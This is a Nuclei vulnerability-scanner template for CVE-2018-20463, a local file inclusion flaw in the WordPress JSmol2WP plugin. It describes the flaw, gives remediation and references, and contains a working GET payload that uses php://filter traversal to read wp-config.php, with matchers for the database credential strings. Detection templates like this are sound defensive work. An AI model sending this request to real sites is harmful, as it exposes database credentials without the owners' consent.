nuclei-templates/http/cves/2018/CVE-2018-20463.yaml

id: CVE-2018-20463

info:
  name: WordPress JSmol2WP <=1.07 - Local File Inclusion
  author: vinit989
  severity: high
  description: |
    WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of the JSmol2WP plugin (>=1.08) or remove the plugin if it is not necessary.
  reference:
    - https://wpscan.com/vulnerability/9197
    - https://wordpress.org/plugins/jsmol2wp/
    - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20463
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20463
    cwe-id: CWE-22
    epss-score: 0.01939
    epss-percentile: 0.87341
    cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jsmol2wp_project
    product: jsmol2wp
    framework: wordpress
  tags: wp,wp-plugin,wordpress,jsmol2wp,wpscan,cve,cve2018,traversal,jsmol2wp_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'DB_USER',"
          - "'DB_PASSWORD'"
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
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